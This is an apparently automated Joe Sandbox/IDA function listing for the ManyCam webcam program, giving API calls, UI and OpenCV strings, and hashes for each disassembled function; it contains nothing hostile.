?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ.MSVCP80(?,00488794,74C45DB3,0049A100,0049A100), ref: 00488800
?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(?,?,00488794,74C45DB3,0049A100,0049A100), ref: 00488819
?substr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QBE?AV12@II@Z.MSVCP80(?,00000000,?,?,00488794,74C45DB3,0049A100,0049A100), ref: 0048882E
??4?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV01@ABV01@@Z.MSVCP80(?,?,?,00488794,74C45DB3,0049A100,0049A100), ref: 0048884B
??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAE@XZ.MSVCP80(?,?,00488794,74C45DB3,0049A100,0049A100), ref: 0048885B

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: U?$char_traits@_V?$allocator@_W@2@@std@@W@std@@$Myptr@?$basic_string@_$V12@$??1?$basic_string@_??4?$basic_string@_?erase@?$basic_string@_?size@?$basic_string@?substr@?$basic_string@_D@2@@std@@D@std@@U?$char_traits@V01@V01@@V?$allocator@
String ID:
API String ID: 731949045-0
Opcode ID: 2f69720e727eced4ed2275371a078fe7476b196afe62a487cd70bae6314d5383
Instruction ID: 4406f9edcf3e418624fedf0353d0674b6ffa21746b1b988d8d39eeb2d4d24482
Opcode Fuzzy Hash: 2f69720e727eced4ed2275371a078fe7476b196afe62a487cd70bae6314d5383
Instruction Fuzzy Hash: 5C314D31900108EFDB04EF59E898A9DBBB6FB98350F40C52AF91A973A0DB30A944DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004B14B0 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

_Smanip.LIBCPMTD ref: 004B152C

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

CGraphMgr::AdjustCameraResolution (size=%dx%d), xrefs: 004B14E9
vids, xrefs: 004B16FD, 004B1811

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: clock$AllocatorDebugHeapSmanip
String ID: CGraphMgr::AdjustCameraResolution (size=%dx%d)$vids
API String ID: 3240802707-243107872
Opcode ID: 0b9f26486d5ca748ff65b87eaf69692d820365cf5d3d260ad1582382175653d3
Instruction ID: a989dfa4e85d0b56287cfe2e867778c486b3f31bfd173d30f9afd811cc483807
Opcode Fuzzy Hash: 0b9f26486d5ca748ff65b87eaf69692d820365cf5d3d260ad1582382175653d3
Instruction Fuzzy Hash: D7021671900218DFCB14DF69C991BEEBBB0BF48304F50819EE519A7291DB34AE85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0042A5B0 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 420COMMON

Download Yara Rule

APIs

Part of subcall function 00406640: GetDlgItem.USER32(?,00000000), ref: 00406651

Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A415
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A437
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A455
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A47D
Part of subcall function 0041A3B0: ?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,?,00000000,?,0053E990,?,?,?,?,?,\class.xml,?,?,?,data\images\), ref: 0041A530

Part of subcall function 0041DE10: ??_V@YAXPAX@Z.MSVCR80 ref: 0041DE55

Part of subcall function 004065B0: SetWindowTextW.USER32(?,004062B3), ref: 004065C1

Part of subcall function 0040DA40: MoveWindow.USER32(000001E2,-0000012B,000001E2,00000000,00000000,00000000,?,?,00408A2E,0000006D,0000002D,00000157,00000017,00000001,00000000,?), ref: 0040DA61

Part of subcall function 0041DE10: lstrlenW.KERNEL32(00000000,74C45DB3,?,?,?,0000001F,00000001,CameraDlg\btn_properties,00000000), ref: 0041DE94

Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A79D

memset.MSVCR80 ref: 0042AAEE

Part of subcall function 0042AC80: _DebugHeapAllocator.LIBCPMTD ref: 0042ACE7
Part of subcall function 0042AC80: _DebugHeapAllocator.LIBCPMTD ref: 0042AD25
Part of subcall function 0042AC80: ?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,000000CC,00000001,00545BC0,data\images\maindlg\,00000001,?,00000000,74C45DB3,00000008,000000CC,0000003E,00000001), ref: 0042AD48

Strings

drawEffectDlg\btn_clear, xrefs: 0042A794
Tahoma, xrefs: 0042AAC1
drawEffectDlg\btn_save, xrefs: 0042A88B
drawEffectDlg\btn_small, xrefs: 0042A5F6
drawEffectDlg\btn_middle, xrefs: 0042A677
drawEffectDlg\btn_large, xrefs: 0042A704
drawEffectDlg\btn_save, xrefs: 0042A80E

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@Window$ItemMoveTextlstrlenmemset
String ID: Tahoma$drawEffectDlg\btn_clear$drawEffectDlg\btn_large$drawEffectDlg\btn_middle$drawEffectDlg\btn_save$drawEffectDlg\btn_save$drawEffectDlg\btn_small
API String ID: 917308447-3436469711
Opcode ID: 270378d4c1d5f14f44e424ebb91537222281f9fe44b533ecab9fbbdcf32d1889
Instruction ID: 3e0206703fa91518360c9a9f613824172eee4b2edee5d94e2292119dbd36ceb1
Opcode Fuzzy Hash: 270378d4c1d5f14f44e424ebb91537222281f9fe44b533ecab9fbbdcf32d1889
Instruction Fuzzy Hash: 7CF12474B407146FEB28E795CD62FAD72659F85708F0400ADB3477E2C2DAF829948B1E

Uniqueness

Uniqueness Score: -1.00%

Function 004C9210 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,74C45DB3), ref: 004C928B
CloseHandle.KERNEL32(?,?,?,?,?,74C45DB3), ref: 004C93D8
cvReleaseImage.CXCORE099(00000000,?,?,?,?,74C45DB3), ref: 004C93E8

Strings

CManyCamModel::GetPosterFrame, xrefs: 004C923F

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorCloseCreateDebugEventHandleHeapImageReleaseclock
String ID: CManyCamModel::GetPosterFrame
API String ID: 3295495820-604892226
Opcode ID: 0fb0d1f75a3f7064816a10a7a659a458f82e48bfb0f7d40fede8694d07b98b13
Instruction ID: b7f4d3075c697768d86108b177f770b28cc6e89c2576a85e707f138266713341
Opcode Fuzzy Hash: 0fb0d1f75a3f7064816a10a7a659a458f82e48bfb0f7d40fede8694d07b98b13
Instruction Fuzzy Hash: 81717C70D01208DFDB04EFE4C895BEEBBB4BF58304F20815DE505AB291DB786A45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004278F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Part of subcall function 00406640: GetDlgItem.USER32(?,00000000), ref: 00406651

MoveWindow.USER32(00000000,?,000000FF,00000171,00000017,00000049,0000000F,00000001), ref: 0042791F

Part of subcall function 0041E080: SendMessageW.USER32(?,00000406,?,?), ref: 0041E0B3

Part of subcall function 0041E0E0: SendMessageW.USER32(?,00000405,00000001,00000000), ref: 0041E0F8

Part of subcall function 0040DA40: MoveWindow.USER32(000001E2,-0000012B,000001E2,00000000,00000000,00000000,?,?,00408A2E,0000006D,0000002D,00000157,00000017,00000001,00000000,?), ref: 0040DA61

Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A415
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A437
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A455
Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A47D
Part of subcall function 0041A3B0: ?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,?,00000000,?,0053E990,?,?,?,?,?,\class.xml,?,?,?,data\images\), ref: 0041A530

Part of subcall function 0041DE10: ??_V@YAXPAX@Z.MSVCR80 ref: 0041DE55

Part of subcall function 0041DE10: lstrlenW.KERNEL32(00000000,74C45DB3,?,?,?,0000001F,00000001,CameraDlg\btn_properties,00000000), ref: 0041DE94

Part of subcall function 0041A3B0: _DebugHeapAllocator.LIBCPMTD ref: 0041A79D

Part of subcall function 00428400: _DebugHeapAllocator.LIBCPMTD ref: 0042847C
Part of subcall function 00428400: _DebugHeapAllocator.LIBCPMTD ref: 004284BA
Part of subcall function 00428400: ?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,000003EB,00000014,00544C8C,data\images\maindlg\,00000014,?,?,74C45DB3,?,000003EB,000001B0,00000014), ref: 004284DD

Strings

DesktopDlg\btn_entire_desktop, xrefs: 004279A9
DesktopDlg\btn_castom_desktop, xrefs: 00427A70
Capture area around cursor, xrefs: 00427A1B
Capture custom desktop area, xrefs: 00427A83
DesktopDlg\btn_part_desktop, xrefs: 00427A08
Capture entire desktop, xrefs: 004279B9

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@MessageMoveSendWindow$Itemlstrlen
String ID: Capture area around cursor$Capture custom desktop area$Capture entire desktop$DesktopDlg\btn_castom_desktop$DesktopDlg\btn_entire_desktop$DesktopDlg\btn_part_desktop
API String ID: 1049898977-3779348435
Opcode ID: 1e7c06f35e9c2f0a9c2c3837d1f33e3d4cef74c66798ad765f90d653820a21c3
Instruction ID: e752f734671e8a8f8585cc71003ba79e14dc520feb418a2cc19da4b927b75113
Opcode Fuzzy Hash: 1e7c06f35e9c2f0a9c2c3837d1f33e3d4cef74c66798ad765f90d653820a21c3
Instruction Fuzzy Hash: A241E330B842056BEF18E7D5CCA3FFE76659F8470CF44051EB3077A2C2DAA965A0869D

Uniqueness

Uniqueness Score: -1.00%

Function 017242A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 017242F2
cvError.CXCORE099(FFFFFF37,cvMakeSeqHeaderForArray,Element size doesn't match to the size of predefined element type (try to use 0 for sequence element type),.\cxdatastructs.cpp,000002C8), ref: 01724361
cvError.CXCORE099(000000E5,cvMakeSeqHeaderForArray,017A124F,.\cxdatastructs.cpp,000002BA), ref: 017243BB
cvError.CXCORE099(FFFFFF37,cvMakeSeqHeaderForArray,017A124F,.\cxdatastructs.cpp,000002B7), ref: 017243E3

Strings

Element size doesn't match to the size of predefined element type (try to use 0 for sequence element type), xrefs: 01724352
.\cxdatastructs.cpp, xrefs: 0172434D, 017243AA, 017243CF
cvMakeSeqHeaderForArray, xrefs: 01724357, 017243B4, 017243D9

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$memset
String ID: .\cxdatastructs.cpp$Element size doesn't match to the size of predefined element type (try to use 0 for sequence element type)$cvMakeSeqHeaderForArray
API String ID: 3826993830-1384450192
Opcode ID: f7527ea7a529e0f0e7059c860c705ebcdc8d1a91745f065d74824acf8137490d
Instruction ID: b09a9c98b2876a688fe97660b8de58eac66c77409a235496ff6bea8236924f0d
Opcode Fuzzy Hash: f7527ea7a529e0f0e7059c860c705ebcdc8d1a91745f065d74824acf8137490d
Instruction Fuzzy Hash: 003101B274431667D7209E4EDC61B2AFBE0FBA4A11F04473EE546E7781D7B0E5028B80

Uniqueness

Uniqueness Score: -1.00%

Function 0050E6A0 Relevance: 12.4, APIs: 8, Instructions: 361memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 0050E7D1
memset.MSVCR80 ref: 0050E7E8

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapmemset
String ID:
API String ID: 622753528-0
Opcode ID: 2c09cb3bd4d98cd5ac2316cddb9aa19e67c7f66a0578b6bf1a6e020fd8d26f0b
Instruction ID: 15c03739bf2cff661cf5d104c6130bcee5a7d3e6e4c58e74d1621743953f5b5e
Opcode Fuzzy Hash: 2c09cb3bd4d98cd5ac2316cddb9aa19e67c7f66a0578b6bf1a6e020fd8d26f0b
Instruction Fuzzy Hash: 81F17A719022199BDB28EB10CD9ABEEBBB4BF54304F1085E9E40A671D1DB745F88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 004CB0F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 004CB139
_DebugHeapAllocator.LIBCPMTD ref: 004CB155
_DebugHeapAllocator.LIBCPMTD ref: 004CB171

Part of subcall function 004DA970: _DebugHeapAllocator.LIBCPMTD ref: 004DAA07
Part of subcall function 004DA970: _DebugHeapAllocator.LIBCPMTD ref: 004DAA16
Part of subcall function 004DA970: _DebugHeapAllocator.LIBCPMTD ref: 004DAA37

_DebugHeapAllocator.LIBCPMTD ref: 004CB1A3
_DebugHeapAllocator.LIBCPMTD ref: 004CB1D6

Strings

ZP, xrefs: 004CB11F, 004CB122
|LV, xrefs: 004CB151, 004CB1EB, 004CB154

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap
String ID: |LV$ZP
API String ID: 571936431-1538846667
Opcode ID: 8217c67bd42f6a567db927a5321e70c2cba3473b1a658e23f040ac260a6cc460
Instruction ID: 978cc442b74b90625ce9c3af39009df7ee77075ce9d9cefa9296828956acecd6
Opcode Fuzzy Hash: 8217c67bd42f6a567db927a5321e70c2cba3473b1a658e23f040ac260a6cc460
Instruction Fuzzy Hash: 27410AB1D05248EFCB04DFA8D991BDEBBF5BB48304F10815EF815A7281D778AA04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004FD940 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004FD981
memset.MSVCR80 ref: 004FDA1F
memset.MSVCR80 ref: 004FDA8C
CreateFontIndirectW.GDI32(FFFFFFE8), ref: 004FDA9B
CreateFontIndirectW.GDI32(FFFFFFEE), ref: 004FDAB1

Strings

Arial, xrefs: 004FD9F1
Arial, xrefs: 004FDA6A

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CreateFontIndirectmemset$DeleteObject
String ID: Arial$Arial
API String ID: 346542776-1763068633
Opcode ID: c12b24dd9f2b9995e0df65b83cf3194b303dc9a1253823438070491bc9bd0b38
Instruction ID: 75e1cabb217cce4dc965ee215482411260d72ac32ca7e1cfdb982b14341ac3fd
Opcode Fuzzy Hash: c12b24dd9f2b9995e0df65b83cf3194b303dc9a1253823438070491bc9bd0b38
Instruction Fuzzy Hash: A7415AB0D05398CFEB20CFA8D858B8DBBB0AB25304F0442D9D5496B3C1D7B55A88CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00428400 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 0042847C

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 004284BA
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,000003EB,00000014,00544C8C,data\images\maindlg\,00000014,?,?,74C45DB3,?,000003EB,000001B0,00000014), ref: 004284DD

Strings

(MT, xrefs: 00428444
TMT, xrefs: 0042844B
.png, xrefs: 004284B2
data\images\maindlg\, xrefs: 00428474

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: (MT$.png$TMT$data\images\maindlg\
API String ID: 1315443971-3643503733
Opcode ID: cbffbf393df03336253548ef9ff51fddc2804daf7bf0528a20e93201e72a3de5
Instruction ID: f06250170feff65d0159650778f77ddb5d8cb4d0749f77b4883fa895b7a58ebd
Opcode Fuzzy Hash: cbffbf393df03336253548ef9ff51fddc2804daf7bf0528a20e93201e72a3de5
Instruction Fuzzy Hash: 98313AB1D05248EBCB04DF95E985BDDBBB4FF09318F14452EE01177281DB785A08CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004825C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75librarywindowCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00482602
GetWindowsDirectoryW.KERNEL32(00000000,00000104,00000104,?,0049A100,74C45DB3,?), ref: 00482644
LoadLibraryW.KERNEL32(00000000,\winhlp32.exe,000000FF,?,0049A100,74C45DB3,?), ref: 0048266A
LoadCursorW.USER32(00000000,0000006A), ref: 0048267F
CopyIcon.USER32(?), ref: 00482692
FreeLibrary.KERNEL32(00000000), ref: 004826A5

Strings

\winhlp32.exe, xrefs: 00482654

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Load$CursorLibrary$CopyDirectoryFreeIconWindows
String ID: \winhlp32.exe
API String ID: 501009500-695620452
Opcode ID: 72d25b9e93f0e45ffb332d077584a673b3d5e48780a8d95c32651a89c6593934
Instruction ID: ec6d5bdbcb5f979a409084d156352cb5eef125df936233655878cf5ad0338882
Opcode Fuzzy Hash: 72d25b9e93f0e45ffb332d077584a673b3d5e48780a8d95c32651a89c6593934
Instruction Fuzzy Hash: 0D313A71D00208AFDB04EFA4E959BEDBBB5FB18314F50462AF916A72D0DB786948CB14

Uniqueness

Uniqueness Score: -1.00%

Function 01724590 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvEndWriteSeq,017A124F,.\cxdatastructs.cpp,00000401), ref: 017245B2

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvFlushSeqWriter.CXCORE099(?), ref: 017245C0
cvGetErrStatus.CXCORE099 ref: 017245C8
cvError.CXCORE099(000000FF,cvEndWriteSeq,Inner function failed.,.\cxdatastructs.cpp,00000403), ref: 017245E7

Strings

Inner function failed., xrefs: 017245DB
.\cxdatastructs.cpp, xrefs: 017245A1, 017245D6
cvEndWriteSeq, xrefs: 017245AB, 017245E0

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus$FlushWriter
String ID: .\cxdatastructs.cpp$Inner function failed.$cvEndWriteSeq
API String ID: 1314510593-1203831791
Opcode ID: 0c131248a22fd22a89070cca637b7ff2ee2315583a3e06d2b7d1fdd43f53bde2
Instruction ID: 38a5d27112563b87666fd1acfe72ed560c92d5a75182e3fcab4ed3b6be94ecaa
Opcode Fuzzy Hash: 0c131248a22fd22a89070cca637b7ff2ee2315583a3e06d2b7d1fdd43f53bde2
Instruction Fuzzy Hash: 321129F67003226B8A00DB1EFD94C45FB90BBC5722747436DF62A9B297D220E481CA61

Uniqueness

Uniqueness Score: -1.00%

Function 004CC090 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 51processCOMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 004CC0AE
memset.MSVCR80 ref: 004CC0CB
wcscpy.MSVCR80 ref: 004CC0DF
wcscat.MSVCR80 ref: 004CC0F8
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004CC124

Strings

D, xrefs: 004CC0B6
explorer , xrefs: 004CC0D3

Memory Dump Source

